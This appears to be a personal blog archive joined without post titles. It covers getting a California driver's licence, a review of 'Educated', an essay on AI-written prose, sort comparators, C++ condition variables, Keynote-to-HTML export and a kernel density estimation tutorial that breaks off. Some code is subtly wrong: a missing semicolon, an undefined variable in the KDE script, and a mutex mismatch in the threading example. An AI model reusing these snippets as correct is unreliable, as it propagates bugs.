Procedure

主要流程分为笔试 (Written Test) 和路考 (Behind-the-Wheel Test) 两步。

线上申请与预约

在 DMV 官网上选择 Apply for a DL/ID，根据流程依次注册账号并填写信息。这里需要提供身份证明和地址证明。对于我这种 J-1 学者的情况，提供的身份证明包括有效的签证、DS2019 和 I-94 表。地址证明需要明确指定了居住地址的文件，我提供的是租房合同与 Apartment 提供的 Ledger。提交申请后，文件会进入预审的状态，等候 1 - 2 个工作日即可得到预审结果。

材料符合要求后，理论上需要在官网上预约，然后携带所有纸质材料去线下的 DMV Office 提交材料并参加笔试。但大多数情况下可以跳过预约，直接 Walk-in。我大概在一个周五的上午 9:00 Walk-in 了 Davis 的 DMV，排队时间在 1h 左右。

笔试

在线下 DMV 提供预约时提供的证明材料后即可开始笔试。笔试全部为选择题，正确率需要达到 30 / 36，用时大约 30 分钟。我笔试时错了 4 个。印象深刻的包括：

• It is illegal to leave a child who is six years old or younger unattended in a vehicle. A child may be left ______ (under the supervision of a person who is at least 12 years old).
• You must notify the DMV within five days if you: (sell or transfer your vehicle).

总体而言，加州笔试的内容比国内的笔试简单很多，我在考前大概刷了 200 题。在 Google 上搜索 DMV Driving Practice Tests 可以找到很多相关的资源，随便选择几个即可。和数值相关的题目记得多背下（例如酒驾浓度 0.08%）。

在 25 年 1 月之前，笔试是可以线上完成的。不过现在这一政策已取消，必须到 DMV 线下完成笔试。提供资料与参加笔试可以在同一天完成，笔试通过后即可开始预约路考。

路考

路考同样需要在 DMV 网站上预约，可前往 Appointment 页面选择就近的 DMV 和相应日期。我当时在网站上只能搜索到下一个月在 Woodland 上的路考时间，又写太晚了。因此找了一个驾校帮忙加急预约，约到了一周后的路考。

路考需要自备汽车（驾校一般都可以提供）和保险证明。考官会坐在副驾驶位发出指令。首先是车检指令，会考核 windshield、headlights、emergency flasher 等动作的位置，然后指引考生行驶越 15 分钟。考核内容涉及转弯、变道、路边停车 (pull over)、倒车等。注意一定要遵守 STOP Sign、信号灯和速度限制，其次是在转弯时不要为了安全行驶而开得过于缓慢（我可能是 California Basic Speed Law 的受害者：you may never drive faster than is safe for the current road conditions）。另外，右转时要并入自行车道，转过路口后也可以继续占用自行车道，直到安全并入车道。这些是我在路考中犯的错误。

通过考试会收到临时驾照，使用临时驾照可以合法租车与驾驶。

Timeline

这里是我在 Davis 的 DMV 申请驾照的时间线：

• 2025.2.12：笔试
• 2025.2.18：路考
• 2025.2.28：邮箱收到驾照

这本书是塔拉・韦斯特弗 (Tara Westover) 的自传，她在一个保守的原教旨主义的摩门教家庭中长大，父亲是一个极端的阴谋论者，母亲则一个顺从的家庭主妇。她是家里七个孩子中最小的一个，有一个姐姐和好几个哥哥。她的父亲患有双向情感障碍，偏执地不让孩子接触政府的教育与医疗，认为他们会迫害孩子的思想，甚至威胁他们的生命。这个家庭几乎都围绕着父亲极端的信仰转动，为父亲拆废料的生意忙上忙下。母亲最初因为不愿意过城里世俗但充满约束的生活而选择了父亲，在父亲多年的影响与控制下，逐渐被父亲暴力式的信仰所同化。她成为了一名助产士，一名草药和精油的信徒。在后来塔拉和父亲的距离越来越远时，母亲也选择站在了父亲一边。

塔拉的童年生活几乎是一场灾难，充满了事故、控制、伤害与暴力。她的爸爸没有赋予她构建自我的机会，打扮与社交被视为罪恶，学习与阅读被视为笑话。她的哥哥肖恩则是放大版的父亲，用武力来宣誓自己的权威。母亲受限于自己的教育和父亲的影响，除了能够教会塔拉一些通识性的知识外，也帮不上什么忙。只有他的哥哥泰勒在她 10 岁以前可以和她分享古典音乐，教会她真正的书本知识。当然，后来的泰勒也远离了父亲，成为家里的第一个博士。他用自己的离开在塔拉心中种下了成长的种子。

她 17 岁才第一次接受到正规教育，刚进入杨百翰大学时经历的心理动荡格外真实。她不拥有周围人所具备的文化与社交上的共识，不知道大屠杀一词的沉重，也不知道在合租公寓中保持卫生的必要性。她一面加倍努力融入这个环境，另一面又时刻被过去的影子困扰，因为融入意味着背叛。尽管加速奔跑追赶，却屡屡碰壁：应对校园里的文化冲击和学业压力已经足够沉重，每次回到巴克峰时却又像是被拉回了原点。多年来逐渐构建起来的新生活仿佛一击即破。来自他人的认可与爱对她来说格外陌生，过去的经历让她始终活在不配得感当中。

多年以后，当她不再用嬉戏将暴力包装成玩笑，不再对过往感到羞耻与自卑，不再对外界的认可诚惶诚恐，而是能与全世界分享自己废墟般的过去时，我感到激动。 隐约还能记起一些七年前初到上海读本科时经历的精神冲击。当个体所接受的教育逐渐突破了家庭的极限，他应该如何面对曾经塑造了自己的故乡，应该如何应对未来与过去的落差？小镇的一切连同家庭的思想仿佛困在了永恒的循环中，而外面的世界早已一日千里。塔拉给出了她的答案，她依旧满怀感激，却选择保持距离。温情有多真实，距离便有多遥远。我在她身上看到了真正的成熟，一种直面过去，不被陈旧的信念束缚，坚定前行的力量。正如她在书里所说，「过去是一个幽灵，虚无缥缈，没什么影响力。只有未来才有分量」。

生活是寻找归宿的旅程，人总归会飞往属于自己的山。支撑塔拉与过去顺从的自己决裂，背叛信仰、勇敢与新世界拥抱的非凡力量，正是教育。这格外鼓舞人心。在任何时代，我们都可以相信，知识改变命运。

一类破绽百出，有着无比整齐的小标题、用两个星号围起来的强调词，夸夸其谈，说着乍看合理实则食之无味的大真话。复制时整理一下 Markdown 格式应该并不难，然而他们并不会做，更不会去整理文字中的重复信息，验证数据是否产生自幻觉。要是不幸碰上了这种文章，就像误入了洗手间，连忙捏着鼻子返回。

而另一类亦真亦假的就十分令人困惑了。隐约觉得文笔不太对劲，再读一遍，越来越像 AIGC。这些文字极其流畅却信息不足，感情丰富却有些机械。字里行间藏着 DeepSeek 的影子，但我却没有证据。我只记得一个月前人们不太写 “赛博流动”，更不会突然来个 “量子迷宫”。我于是无法分辨，我所感受到的情绪波动是否真实。这种波动到底来自屏幕对面的另一个人，还是只是来自一个概率模型的序列预测。

这也许就是 AI 文字的恐怖谷。互联网上人类文字和机器文字的边界逐渐模糊，机器通过爬取学习人类，人类也在从 AI 这里重新学习如何说话。我感到沮丧，以致于最近看到 2022 年之前出版的书籍 / 论文 / 博客时，有一种原始的安全感，因为我知道这些内容绝对不是 AI 生成的。

当我为 AI 生成的华丽文字感到震惊与赞叹时，我突然意识到，我应当赞叹的不仅是模型本身，更应是全世界中文文字的智慧结晶。那些历史上最优秀的作家用最波澜壮阔的经历和最真挚深刻的情感，写出了最具表现力的文字，赋予了现代 AI 模仿人写作的能力。然而，这些文字最打动人心的从来不是字符本身，而是你和作者类似的成长经历或心路历程、你感受到的榜样的力量或安宁的慰藉、你头脑中混乱的思绪被作者理顺的那一个瞬间。这是梯度下降无法学习到的人性，也是你不应该再用 AI 来写人文向的文字的原因。

AI 时代，更要对文学保持敬畏。不是 AI 写的太好，而是我读过的太少。

C

在这里先回顾 strcmp 的返回值：

strcmp() returns an integer indicating the result of the comparison, as follows:

• 0, if the s1 and s2 are equal;
• a negative value if s1 is less than s2;
• a positive value if s1 is greater than s2.

几乎所有编程语言的自定义排序函数（如果用整数作为返回值）都遵循 strcmp 的约定。

具体而言，qsort 使用一个函数指针作为比较函数：

int comparison_fn_t (const void *, const void *);
void qsort (void *array, size_t count, size_t size, comparison_fn_t compare)

• 返回值 < 0，排序结果中 a 在 b 之前（可以理解为排序后和入参顺序相同）
• 返回值 > 0，排序结果中 b 在 a 之前
• 返回值 = 0，由于 qsort 不稳定，不保证相等时的顺序。

#include <stdio.h>
#include <stdlib.h>
int cmp(const void *a, const void *b) {
    return *(int *)a - *(int *)b;
}
int main() {
    int arr[] = {3, 1, 4, 1, 5, 9, 6};
    qsort(arr, sizeof(arr) / sizeof(int), sizeof(int), cmp);
    return 0;
}

C++

C++ 的 std::sort （不稳定，$O(N \cdot \log(N)$）和 std::stable_sort（稳定，$O(N \cdot \log(N))$ 或内存受限时 $O(N \cdot \log^2(N))$）都支持可选的 cmp 参数，定义如下：

cmp: comparison function object (i.e. an object that satisfies the requirements of Compare) which returns ​true if the first argument is less than (i.e. is ordered before) the second.

cmp 返回值为 bool，true 时保证排序结果中 a 在 b 前面，false 时表示 a 不小于 b，这时分为两种情况：

1. a 和 b 不等：std::sort 和 std::stable_sort 会交换 a 和 b 的位置，使得 b 在 a 前；
2. a 和 b 相等：std::stable_sort 会维持数组中的原有顺序，std::sort 由于是不稳定排序，不保证顺序。

std::vector<int> arr {3, 1, 4, 1, 5, 9, 6};
// Ascending order (default)
std::sort(arr.begin(), arr.end());
std::sort(arr.begin(), arr.end(), std::less<int>());
std::sort(arr.begin(), arr.end(), [](int a, int b) { return a < b; });
// Descending order
std::sort(arr.begin(), arr.end(), std::greater<int>());
std::sort(arr.begin(), arr.end(), [](int a, int b) { return a > b; });

未提供 cmp 时，默认使用 std::less<T>，即 a < b。因此也可重载 operator<：

// Ascending by x, then by y
struct Point {
    int x, y;
    bool operator<(const Point& rhs) const {
        return x == rhs.x ? y < rhs.y : x < rhs.x;
    }
}
std::vector<Point> arr {{3, 1}, {4, 1}, {5, 9}, {6, 2}};
std::sort(arr.begin(), arr.end());

JavaScript

JavaScript 的 Array.prototype.sort（in-place，返回原数组引用）和 Array.prototype.toSorted（原数组不变，返回排序的新数组）均支持可选的 compareFn，定义如下（和 strcmp 一致）：

Reference

compareFn: A function that determines the order of the elements. The function is called with the following arguments:

a: The first element for comparison. Will never be undefined.
b: The second element for comparison. Will never be undefined.
It should return a number where:

A negative value indicates that a should come before b. A positive value indicates that a should come after b. Zero or NaN indicates that a and b are considered equal.

To memorize this, remember that (a, b) => a - b sorts numbers in ascending order.

ECMAScript 10 以上的 sort 为稳定的。当返回值为 0 时，a 和 b 的相对顺序不变。

const arr = [3, 1, 4, 1, 5, 9, 6];
// Ascending order (default)
arr.sort();
arr.sort((a, b) => a - b);
arr.sort((a, b) => a < b ? -1 : 1);
arr.sort((a, b) => a > b ? 1 : -1);
// Descending order
arr.sort((a, b) => b - a);
arr.sort((a, b) => a > b ? -1 : 1);
arr.sort((a, b) => a < b ? 1 : -1);

Python

Python 的 list.sort 和 sorted 方法通过 key 传入 lambda function 控制从 iterable item 中获取可比较的键值，reverse 指定结构体升 / 降序。

需要自定义排序时，要使用 functools.cmp_to_key 将 comparison function 转换为 key，定义如下（和 strcmp 一致）：

A comparison function is any callable that accepts two arguments, compares them, and returns a negative number for less-than, zero for equality, or a positive number for greater-than. A key function is a callable that accepts one argument and returns another value to be used as the sort key.

class Point:
    def __init__(self, x, y):
        self.x = x
        self.y = y
    def __repr__(self):
        return f"({self.x}, {self.y})"
arr = [Point(3, 1), Point(4, 1), Point(5, 9), Point(6, 2)]
# Ascending by x, then ascending by y
arr.sort(key = lambda p: (p.x, p.y))
arr.sort(key = cmp_to_key(lambda a, b: a.x - b.x if a.x != b.x else a.y - b.y))

Python 的 sort 和 sorted 保证稳定。

• Intro
• Example
  • If you are using Linux
• Dive Deeper
  • Why do we need unique_lock and mutex?
  • What if the condition is met before wait/never met?
  • What if notify() is called before wait/never called?
  • Suspend vs. Block
• Conclusion

Intro

Conditional Variables are a synchronization primitive in C++ that allows threads to wait for a certain condition to be met¹. This is useful when you want to coordinate the execution of multiple threads. To use a conditional variable, you will need:

• A conditional variable std::contional_variable cv
• A mutex std::mutex mtx and a lock std::unique_lock<std::mutex> lck(mtx)
• Appropriate wait conditions to check for
• Appropriate notification calls from other threads

Here is a simplified structure of how to use a conditional variable:

std::mutex mtx;
// Thread 1
{
    // Acquire the lock
    std::unique_lock<std::mutex> lck(mtx);
    cv.wait(lck, [] {
        return condition;
    });
}
// Thread 2
{
    // Acquire the lock
    std::unique_lock<std::mutex> lck(mtx);
    condition = true;
    cv.notify_one();
}

Here, Thread 1 is suspended by .wait call until condition == true. However, CVs won't automatically wake up the thread when the condition is met. Instead, it checks the condition whenever receives a notification from another thread. This is where the .notify_one() and .notify_all() come in. In other threads, by calling either:

• cv.notify_one()( to wake up one thread suspended by the cv randomly)
• cv.notify_all() (to wake up all threads suspended by the cv)

The cv will check the condition and wake up the thread if the condition is met.

Example

Here we use an example to illustrate the actual use of conditional variables. It is abstracted from a real-world scenario I have been working on recently, where we need to instrument performance data for each running thread. Say we have multiple worker threads that have two stages: preparation and payload. It is a common use case that we want to wait for all threads to finish their preparations, do something else in the main threads, and start the actual payload for all the worker threads.

In this example, we have a Worker class that creates multiple worker threads, where each thread:

• Sets its thread name using pthread_setname_np (Preparation Stage)
• Delay for 1 second (Payload Stage)

We also have a Reporter class that reports the thread ID and thread names of all worker threads, which requires all threads to finish their preparation stage before reporting. After reporting, we want to start the payload stage for all worker threads.

To achieve this, we use a conditional variable cv_ready to wait for all threads to finish their preparation stage. Its condition is num_ready == num_workers, where num_ready is the number of threads that have finished their preparation stage, and num_workers is the total number of worker threads. We use cv_ready.notify_one() in the worker threads to notify the main thread to check the condition and return. After preparation, the worker threads are suspended by cv, and this is when we initialize the Reporter class and call report() to report the thread information. After reporting, we call cv.notify_all() to start the payload stage for all worker threads.

#include <condition_variable>
#include <string>
#include <pthread.h>
#include <thread>
#include <vector>
#include <iostream>
/**
 * Report information of all worker threads, only works for macOS.
 */
#include <mach/mach.h>
class Reporter {
public:
    Reporter() {
        task_threads(mach_task_self(), &threads, &thread_count);
        std::cout << "[Reporter] Reporter loaded. Found " << thread_count << " threads." << std::endl;
    }
    void report() {
        std::cout << "[Reporter] Reporting all threads:" << std::endl;
        for (int i = 0; i < thread_count; i++) {
            char thread_name[64];
            uint64_t tid;
            pthread_t pthread = pthread_from_mach_thread_np(threads[i]);
            pthread_getname_np(pthread, thread_name, sizeof(thread_name));
            pthread_threadid_np(pthread, &tid);
            std::cout << "[Reporter]   - thread " << i << " name: "
                      << thread_name << " tid: " << tid << std::endl;
        }
    }
private:
    thread_act_array_t threads;
    mach_msg_type_number_t thread_count;
};
class Worker {
public:
    Worker(int16_t n) : num_workers(n), num_ready(0) { }
    void worker_thread(std::string thread_name, uint16_t thread_id) {
        // Thread preparation
        {
            std::lock_guard<std::mutex> lck(mtx);
            pthread_setname_np(thread_name.c_str());
            std::cout << "[Worker] Thread " << thread_name << " ready to run." << std::endl;
            num_ready++;
            cv_ready.notify_one();
        }
        // Suspend all threads until ready
        std::unique_lock<std::mutex> lck(mtx);
        cv.wait(lck, [this] {
            return num_ready == num_workers;
        });
        // Allow parallel execution of worker threads
        lck.unlock();
        // Thread payload
        std::this_thread::sleep_for(std::chrono::seconds (1));
        {
            std::lock_guard<std::mutex> lck(mtx);
            std::cout << "[Worker] Thread " << thread_name << " finished." << std::endl;
        }
    }
    void create_workers() {
        std::string main_thread_name = "main";
        pthread_setname_np(main_thread_name.c_str());
        for (int i = 0; i < num_workers; i++) {
            std::string worker_name = "worker-" + std::to_string(i);
            m_threads.emplace_back(std::thread(&Worker::worker_thread, this, worker_name, i));
        }
        // Wait for all threads to be loaded
        std::unique_lock<std::mutex> lck(mtx_ready);
        cv_ready.wait(lck, [this] {
            return num_ready == num_workers;
        });
    }
    void report() {
        Reporter *reporter = new Reporter();
        reporter->report();
    }
    void run() {
        // Notify all threads to start
        cv.notify_all();
        for (auto &t: m_threads) {
            t.join();
        }
    }
private:
    int16_t num_workers;
    int16_t num_ready;
    std::vector<std::thread> m_threads;
    std::condition_variable cv;
    std::mutex mtx;
    std::condition_variable cv_ready;
    std::mutex mtx_ready;
};
int main() {
    // Create threads
    Worker *worker = new Worker(5);
    worker->create_workers();
    // Do something before actual threads execution, after all threads are created and configured.
    worker->report();
    // Start all worker threads
    worker->run();
}

We can get the following output:

[Worker] Thread worker-0 ready to run.
[Worker] Thread worker-3 ready to run.
[Worker] Thread worker-1 ready to run.
[Worker] Thread worker-2 ready to run.
[Worker] Thread worker-4 ready to run.
[Reporter] Reporter loaded. Found 6 threads.
[Reporter]   - thread 0 name: main tid: 4454155
[Reporter]   - thread 1 name: worker-0 tid: 4454239
[Reporter]   - thread 2 name: worker-1 tid: 4454240
[Reporter]   - thread 3 name: worker-2 tid: 4454241
[Reporter]   - thread 4 name: worker-3 tid: 4454242
[Reporter]   - thread 5 name: worker-4 tid: 4454243
[Worker] Thread worker-4 finished.
[Worker] Thread worker-3 finished.
[Worker] Thread worker-0 finished.
[Worker] Thread worker-2 finished.
[Worker] Thread worker-1 finished.

Here, the first 5 lines are the worker threads' preparation stage, and the next 7 lines are the thread information reported by the Reporter class. After reporting, the worker threads start their payload stage simultaneously and finish in random order.

If you are using Linux

Note that the code uses macOS system calls in the Reporter. If you are using a Linux system, you may use the following Reporter class instead:

/**
 * Reporter for Linux.
 */
#include <dirent.h>
#include <fstream>
class Reporter {
public:
    Reporter() {
        DIR *dir = opendir("/proc/self/task");
        if (dir) {
            struct dirent *entry;
            while ((entry = readdir(dir)) != nullptr) {
                if (entry->d_type == DT_DIR && isdigit(entry->d_name[0])) {
                    thread_ids.push_back(entry->d_name);
                }
            }
            closedir(dir);
        }
        thread_count = thread_ids.size();
        std::cout << "[Reporter] Reporter loaded. Found " << thread_count << " threads." << std::endl;
    }
    void report() {
        std::cout << "[Reporter] Reporting all threads:" << std::endl;
        for (int i = 0; i < thread_count; i++) {
            std::string tid = thread_ids[i];
            std::string thread_name = get_thread_name(tid);
            std::cout << "[Reporter]   - thread " << i << " name: " << thread_name
                      << " tid: " << tid << std::endl;
        }
    }
private:
  std::vector<std::string> thread_ids;
  int thread_count;
  std::string get_thread_name(const std::string &tid) {
      std::ifstream comm_file("/proc/self/task/" + tid + "/comm");
      std::string name;
      if (comm_file.is_open()) {
          std::getline(comm_file, name);
      }
      return name;
  }
};

You also need to change pthread_setname_np to pthread_setname_np(pthread_self(), thread_name.c_str()) in the Worker class.

Dive Deeper

Why do we need unique_lock and mutex?

As stated in the cpp reference:

Any thread that intends to wait on a std::condition_variable must acquire a std::unique_lock<std::mutex> on the mutex used to protect the shared variable.

But why? In intuition, if cv is designed to suspend a thread until a condition is met, a lock does not seem necessary. If we want to ensure thread safety when evaluating conditions, why couldn't we just use atomic variables in the condition predicate?

Let's look into the details of the process:

{
    // Lock aquired
    std::unique_lock<std::mutex> lck(mtx);
    // Suspend the thread, release the lock,
    //   wait for notifications from other threads.
    cv.wait(lck, [] {
        return ready;
    });
    // When other thread calls notify:
    //   cv re-acquires the mutex and check the condition again.
    //     If met, wake up the thread, keep holdong the lock, and continue.
    //     If not met, **release** the lock, and suspend the thread until notified.
    // Equivalent to:
    while(!ready) {
        // Suspend the thread and release the lock
        cv.wait(lck);
        // When notified, re-acquire the lock
        //    so that the condition checking is atomic.
    }
}

The reasons for using locks revolve around the wait and condition checking. First, without the lock, the condition could change between the time the condition is checked and the time the thread is suspended. A lock ensures the atomicity of the process. Another reason is to avoid missing notifications, as the notification might be called just before it starts waiting. Therefore, the notifying threads should also use the same mutex before calling notify.

In other words, the mutex is designed to protect the conditional variable itself. It will be released as soon as the thread is suspended, so that other threads can access the conditional variable for notification and make changes to the conditions².

What if the condition is met before wait/never met?

When a thread is already suspended and the cv is notified, it will check the condition and suspend the thread again or wake up. However, the first wait call of the cv will not check the condition. It will suspend the thread, release the mutex, and wait for notification. Having the condition already met when calling wait is like calling the function without the condition predicate:

{
    std::unique_lock<std::mutex> lck(mtx);
    // After calling wait, release the lock, suspend the thread, and wait for notification.
    cv.wait(lck);
}

If the condition is never met, well, it suspends forever (as expected). In the example above, the condition for cv_ready is num_ready == num_workers. If this is never satisfied, the uspendcreate_workers function will hang indefinitely, indicating not all threads are ready.

What if notify() is called before wait/never called?

If we notify before the wait call, the notification will be lost since these calls are not queued. Without more notifications, the thread will hang indefinitely until a spurious wakeup³. This sometimes mistakenly happens if you forgot to acquire the mutex in the notifying thread, emphasizing the importance of mutex in cvs.

If the notification is never called (and the conditions are met), it does not mean the thread will never wake up. There are two possibilities:

• Timeout Expire: If you use wait_for or wait_until, cv will wake up the thread after the timeout expires despite the condition not being met, and return false so you can handle timeout cases:

if (cv.wait_for(lck, std::chrono::seconds(1),
                [] { return ready; })) {
    // Condition met
} else {
    // Timeout
}
if (cv.wait_until(lck, std::chrono::system_clock::now() + std::chrono::seconds(1),
                  [] { return ready; })) {
    // Condition met
} else {
    // Timeout
}

• Spurious Wakeup: By definition, a spurious wakeup is a situation where the conditional variable wakes up without being notified⁴. As a phenomenon driven by platform-specific implementations and OS-level thread scheduling considerations⁵, it is neither guaranteed nor predictable. Therefore, we should always check for the conditions after waking up (this is why the predicate parameter in the wait function is typically necessary).

Suspend vs. Block

Throughout this article, I have been using the term "suspend" to describe the behavior of a thread when it calls cv.wait instead of "block". I prefer to use "suspend" because it better describes the behavior of this wait. When a thread is suspended, it does not consume any CPU time until the cv is signaled (as long as built with -pthread flag in Linux systems)⁶. The thread is now unscheduled with its ID inserted at the tail of a list of waiting threads. In contrast, "blocking" a thread implies that the thread is performing some operation that is preventing it from running through, such as contention for a lock or waiting for I/O, which consumes more CPU resources. For example, a do-while loop can be considered as blocking the thread:

do {
    // Busy waiting for the condition, blocking the thread.
} while (!ready);

Conclusion

That's a lot to take in! I do spend some time trying to understand this topic, and I hope this article can help you get a general idea of how conditional variables work.

In one word, conditional variables suspend a thread at specific locations and wait for notifications that instruct it to wake up the thread (condition met) or continue to wait (condition not met).

• Misaligned text boxes due to different font rendering and missing fonts (because some otf fonts can not be embedded in the PowerPoint file)
• Videos cannot be played or not starting from desired location (because PowerPoint for Windows has limited video format support, and the video's trimming settings will be lost)
• Math equations look different (because PowerPoint does not support LaTeX natively)
• Transitions and animations are not preserved
• Images and Gradients can no longer be edited

For more information, Apple has compiled a full list of compability list between Keynote and PowerPoint, which you can find here. What's worse, if you think your slides is simple enough and choose to export your slides to PowerPoint, there would be an extra layer of uncertainty: even sometimes the slides look perfect on your Mac's PowerPoint, they will lose all the fonts and formatting when opened on a Windows machine. This is extremely frustrating when you discover the problem right on the spot.

Although for static presentations, you can choose PDF export to guarantee the viewers see exactly what you see, it is not an option if you want to present transition animations or videos. From my practice, I found that the most reliable way to present Keynote slides on Windows devices is to export the slides in HTML format. This operation generates a self-contained HTML project that can be opened in any modern browser. The HTML project includes all the resources needed for the slides including videos and images. Under the hood, Keynote generate a set of PDF files for each stage of the builds and animations, and use JavaScript to control transitions.

Using H.264 Codec for Videos

If the embedded video uses a video codec that is not supported by older versions of iOS (e.g. H.265), the generated HTML file will not be able to play the video. You might want to make sure that your video is encoded with the H.264 codec. If you have ffmpeg installed on your system, you can use the following command to convert the video:

ffmpeg -i input.mp4 -c:v libx264 -crf 23 output.mp4

Here -crf is the quality parameter named Constant Rate Factor, where lower values mean higher quality. In most cases, a value between 17 and 28 is acceptable, and I personally use 23 in most cases.

Use Chromium-based Browsers

I found some pages of the HTML document are not properly rendered in Firefox (see examples below). Please remember to use Chromium-based browsers such as Google Chrome, Microsoft Edge, or Brave to open the document.

Exporting the Presenter Notes (If Needed)

If you need to read the presenter notes while presenting, you can print the slides using the "Handout" layout with "Include presenter notes" selected. Save the printing results as a PDF, and open it on a separate screen or device while presenting the slides in the browser. You can also consider using the Keynote Extractor tool (I am not affiliated with this tool), it creates a separate HTML document with slide content and presenter notes side by side.

Still, exporting the slides as HTML is not a perfect solution for the render results has limited resolution on high-DPI displays. The slides might look a bit blurry on high-resolution screens. Also, you won't be able to use the presenter notes and the timer while presenting. Nevertheless, this is by far the most reliable way to present Keynote slides on Windows devices if you want to keep every detail of your slides. If you have any other tips or better solutions, please let me know in the comments below.

Given a set of independent and identically distributed samples $x = \{x_1, x_2, \cdots, x_n\}$, the KDE process can be formulated as:

Where $K$ is the kernel function that satisfies $\int_{-\infty}^{\infty} K(t)dt = 1$. Essentially, for a specific location of $\hat{f}$, the kernel $K$ is assigning a weight for any $x_i$ regarding their distance to $x$. $h$ is a bandwidth parameter, controlling that distance. If this formula is not clear enough, Matthew Conlen's interactive website Kernel Density Estimation provides quite an intuitive insight into the KDE process.

There are several open-source Python libraries available for performing kernel density estimation (KDE), including scipy, scikit-learn, statsmodel, and KDEpy. A blog post by Jake VanderPlas provides a comparison of the algorithms and APIs offered by these libraries. If you want to understand the underlying process of KDE, this post will guide you through writing a KDE process from scratch using Python (although we will still import scipy's optimize function to minimize a function, you can implement your own Golden-Selection search if desired).

First, we need to import some necessary libraries and set the random seed:

import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from scipy import stats, optimize
rand_seed = 100

Then we are going to generate some datasets for testing. We created four datasets, each containing 100 randomly selected data points drawn from a specific distribution. One distribution is a standard normal distribution, while the other three are bimodal, consisting of normal, exponential, and uniform distributions. The real distribution is returned in the form of probability density functions (PDFs) for visualization.

def make_data_normal(data_count=100):
    np.random.seed(rand_seed)
    x = np.random.normal(0, 1, data_count)
    dist = lambda z: stats.norm(0, 1).pdf(z)
    return x, dist
def make_data_binormal(data_count=100):
    alpha = 0.3
    np.random.seed(rand_seed)
    x = np.concatenate([
        np.random.normal(-1, 2, int(data_count * alpha)),
        np.random.normal(5, 1, int(data_count * (1 - alpha)))
    ])
    dist = lambda z: alpha * stats.norm(-1, 2).pdf(z) + (1 - alpha) * stats.norm(5, 1).pdf(z)
    return x, dist
def make_data_exp(data_count=100):
    alpha = 0.3
    np.random.seed(rand_seed)
    x = np.concatenate([
        np.random.exponential(1, int(data_count * alpha)),
        np.random.exponential(1, int(data_count * (1 - alpha))) + 1
    ])
    dist = lambda z: alpha * stats.expon(0).pdf(z) + (1 - alpha) * stats.expon(1).pdf(z)
    return x, dist
def make_data_uniform(data_count=100):
    alpha = 0.3
    np.random.seed(rand_seed)
    x = np.concatenate([
        np.random.uniform(-1, 1, int(data_count * alpha)),
        np.random.uniform(0, 1, int(data_count * (1 - alpha)))
    ])
    dist = lambda z: alpha * stats.uniform(-1, 1).pdf(z) + (1 - alpha) * stats.uniform(0, 1).pdf(z)
    return x, dist
x_norm, dist_norm = make_data_normal()
x_binorm, dist_binorm = make_data_binormal()
x_exp, dist_exp = make_data_exp()
x_uni, dist_exp = make_data_uniform()

Let's see what these distributions look like:

fig, ax = plt.subplots(1, 4, figsize=(12, 3))
names = ['Normal', 'Bi-normal', 'Exponential', 'Bi-Uniform']
for i, d in enumerate([dist_norm, dist_binorm, dist_exp, dist_uni]):
    x = np.linspace(-8, 8, 100)
    ax[i].fill(x, d(x), color='C0', alpha=0.5)
    ax[i].set_ylim(0, 1)
    ax[i].set_xlim(-8, 8)
    ax[i].set_xlabel('x')
    ax[i].set_ylabel('p(x)')
    ax[i].set_title(names[i])
fig.tight_layout()
fig.show()

The probability of selecting a value of x at each sample attempt is represented by p(x). We will now define some kernel functions. We will consider four common kernel functions: gaussian, epanechnikov, cosine, and linear. In most cases, you can choose either gaussian or epanechnikov. It's also worth noting that the choice of the kernel function is not as important for the performance of KDE as the bandwidth. The differences in results between different kernels are subtle.

def kernel(k: str):
    """Kernel Functions.
    Ref: https://en.wikipedia.org/wiki/Kernel_(statistics)

    Args:
        k (str): Kernel name. Can be one of ['gaussian', 'epanechnikov', 'cosine', 'linear'.]
    """
    if k not in ['gaussian', 'epanechnikov', 'cosine', 'linear']:
        raise ValueError('Unknown kernel.')
    def bounded(f):
        def _f(x):
            return f(x) if np.abs(x) <= 1 else 0
        return _f
    if k == 'gaussian':
        return lambda u: 1 / np.sqrt(2 * np.pi) * np.exp(-1 / 2 * u * u)
    elif k == 'epanechnikov':
        return bounded(lambda u: (3 / 4 * (1 - u * u)))
    elif k =='cosine':
        return bounded(lambda u: np.pi / 4 * np.cos(np.pi / 2 * u))
    elif k == 'linear':
        return bounded(lambda u: 1 - np.abs(u))

You can check the size of the kernels from the source. bounded is a wrapper function that intends to crop the function to make it satisfy |x| <= 1. Next, we will look at the bandwidth parameter h of the kernel function. The following picture demonstrates how the KDE results are affected drastically by bandwidth. A larger h will make the curve smoother or even over-smoothing, a smaller h will make the curve sharper, while under-smoothing will lead to unwanted spikes.

The choice of h is quite important to the KDE result. Through trial and error, you can always find a good fit for the dataset. But what if we want an algorithm that automatically gives us an optimal bandwidth for a given dataset? Here we consider three methods: Scott's rule of thumb ¹, Silverman's rule of thumb ², and MLCV (Maximum Likelihood Cross Validation) ³ method.

def bw_scott(data: np.ndarray):
    std_dev = np.std(data, axis=0, ddof=1)
    n = len(data)
    return 3.49 * std_dev * n ** (-0.333)
def bw_silverman(data: np.ndarray):
    def _select_sigma(x):
        normalizer = 1.349
        iqr = (stats.scoreatpercentile(x, 75) - stats.scoreatpercentile(x, 25)) / normalizer
        std_dev = np.std(x, axis=0, ddof=1)
        return np.minimum(std_dev, iqr) if iqr > 0 else std_dev
    sigma = _select_sigma(data)
    n = len(data)
    return 0.9 * sigma * n ** (-0.2)
def bw_mlcv(data: np.ndarray, k):
    """
    Ref: https://rdrr.io/cran/kedd/src/R/MLCV.R
    """
    n = len(data)
    x = np.linspace(np.min(data), np.max(data), n)
    def mlcv(h):
        fj = np.zeros(n)
        for j in range(n):
            for i in range(n):
                if i == j: continue
                fj[j] += k((x[j] - data[i]) / h)
            fj[j] /= (n - 1) * h
        return -np.mean(np.log(fj[fj > 0]))
    h = optimize.minimize(mlcv, 1)
    if np.abs(h.x[0]) > 10:
        return bw_scott(data)
    return h.x[0]

As shown in the code, Scott's rule of thumb is formulated as: $h = 3.49 s n^{(-1/3)}$; Silverman's rule of thumb is formulated as:$h = 0.9 \min(s, IQR / 1.349) n ^{(-1/5)}$. While IQR is the interquartile range, s is the standard derivation of observed data, and n is the number of samples. For MLCV method, the goal is to maximize the likelihood of estimated data calculated from leave-one-out estimator. This post by Niranjan is a good demonstration of the process. There are also many other methods for choosing the optimal bandwidth, like AMISE (Asymptotic Mean Integrated Squared Error), Taylor bootstrap method, DO-validation, etc. You can check This post by Andrey for further reading.

Next, we come to the KDE function itself.

def kde(data, k=None, h=None, x=None):
    """Kernel Density Estimation.

    Args:
        data (np.ndarray): Data.
        k (function): Kernel function.
        h (float): Bandwidth.
